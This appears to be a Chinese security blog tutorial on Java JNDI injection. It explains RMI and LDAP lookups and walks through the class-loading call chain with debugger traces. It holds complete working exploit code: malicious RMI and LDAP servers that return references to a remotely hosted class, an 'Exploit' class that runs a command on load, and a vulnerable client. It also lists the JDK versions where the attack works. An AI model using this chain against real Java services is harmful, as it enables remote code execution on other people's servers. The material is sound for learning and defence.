声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!
0x00 前言
最近在学习SpringMVC,刚好学到了Jackson与Fastjon,本来想借着环境顺手写一下Fastjson的反序列化,但想到自己还没有详细的学习JNDI注入,光拿个Poc跑也不知道咋回事儿,于是便有了这篇站在巨人肩膀上学习JNDI注入的水文。
0x02 概念
JNDI
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
我是这么理解的:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。
RMI
Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。
我是这么理解的:把在远程机器上跑的方法通过特定方式拉到本地来用
LDAP
LDAP:(Lightweight Directory Access Protocol) 轻量目录访问协议,目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。
可以这么理解:有一个类似于字典的数据源,你可以通过LDAP协议,传一个键进去,就能获取到对应的值
0x03 例子
RMI
恶意rmi服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws AlreadyBoundException {
try {
// 创建并导出接受指定 port 请求的本地主机上的 Registry 实例
Registry registry = LocateRegistry.createRegistry(1099);
// 将 Exploit.class 挂载到 http://127.0.0.1:8081/
Reference reference = new Reference("Exploit","Exploit","http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
// 绑定对此注册表中指定 name 的远程引用
registry.bind("hello",refObjWrapper);
} catch (RemoteException | NamingException e) {
e.printStackTrace();
}
}
}
期望受害者加载的恶意类
import java.io.IOException;
public class Exploit
{
// 静态代码块, 当类被加载时调用
static
{
try {
Runtime.getRuntime().exec("calc");
System.out.println("我在客户端输出");
} catch (IOException e) {
e.printStackTrace();
}
}
}
受害端
import javax.naming.Context;
import javax.naming.InitialContext;
public class RMIClient{
public static void main(String[] args) {
try {
// 设置trustURLCodebase的值为true, 防止远程调用失败
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
String uri = "rmi://192.168.52.4:1099/hello";
// 此类是执行命名操作的初始上下文
Context ctx = new InitialContext();
// 返回绑定到 uri 的对象
ctx.lookup(uri);
} catch (Exception e) {
System.out.println("问题不大");
}
}
}
运行受害端,成功远程加载恶意类弹出计算器,这里触发的关键就在于lookup()方法,在2016年的Blackhat大会上指出问题在于NamingManager类的getObjectFactoryFromReference方法上,我们调试一下,看看程序究竟怎么远程加载恶意类的
首先是客户端通过 InitialContext类的lookup()方法加载我们的rmi服务端
获取上下文后通过GenericURLContext类的lookup()方法对传入的name进行解析
此时客户端查询service,向RMI Registy请求Reference存根,并继续调用RegistryContext的lookup()方法
跟进lookup(),stub经过处理后传入decodeObject(),从命名上应该是是对类对象进行解析
继续跟进,发现确实是将数据进行了解析,并将结果传递给NamingManager类的getObjectInstance()
这个方法做的事情就比较多了,它会判断给定的class是否存在
如果不存在则从远端(指定的url)动态加载
没错,getObjectFactoryFromReference()的作用就是加载我们的恶意类,并且调用insClassName的无参构造函数,所以可以在构造函数里写恶意代码,当然这里我们也可以用静态方法
最终加载我们的恶意类,弹出计算器
完整的调用链
<clinit>:9, Exploit
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:12, RMIClien
LDAP
LDAP可以为其中存储的Java对象提供多种属性,这里主要用到javacodebase指定远程url,该url就是我们的恶意类Exploit
大佬改写的LDAP Server
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*
*/
public class LdapSer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
int port = 2389;
String url = "http://127.0.0.1/#Exploit";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor
{
private URL codebase;
public OperationInterceptor ( URL cb )
{
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
需要配置下maven依赖
<dependencies>
<!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
这里同样使用之前的RMIClient
import javax.naming.Context;
import javax.naming.InitialContext;
public class Client{
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
String uri = "ldap://192.168.52.4:2389/Exploit";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
}
}
RMIClient通过lookup()解析我们的ldap服务端时,会通过doSearchOnce()向我们的ldap服务器发起请求,来获取LdapEntry
RMIClient会向我们请求键为Exploit的值,此时我们将构造好的恶意Reference返回给客户端
Entry e = new Entry(base);
...
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
接着通过getObjectInstance()去加载恶意类,剩下的就跟RMI的流程一致了
调用栈
<clinit>:8, Exploit
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:10, Client
这里还有一种利用方式,那就是当javaSerializedData属性值不为空时,会进行反序列化
所以这里可以使用ysoserial玩一个计算器,Windows下的certutil.exe可以对文件内容进行base64编码
这里我尝试反序列化的时候,var1死活取不到值,可我明明已经设置了,或许是jdk版本的问题,留个坑吧
0x04 小结
利用条件:
-
lookup()参数可控
-
InitialContext类及他的子类的lookup方法允许动态协议转换
-
JDK11.0.1、8u191、7u201、6u211之前可直接利用(之后通过加载本地类绕过)
攻击方式:
-
RMI:通过JDNI Reference远程调用方法攻击
-
LDAP:通过序列化对象、JDNI Reference进行攻击
原文始发于微信公众号(安全日记):入坑Java安全之JNDI注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论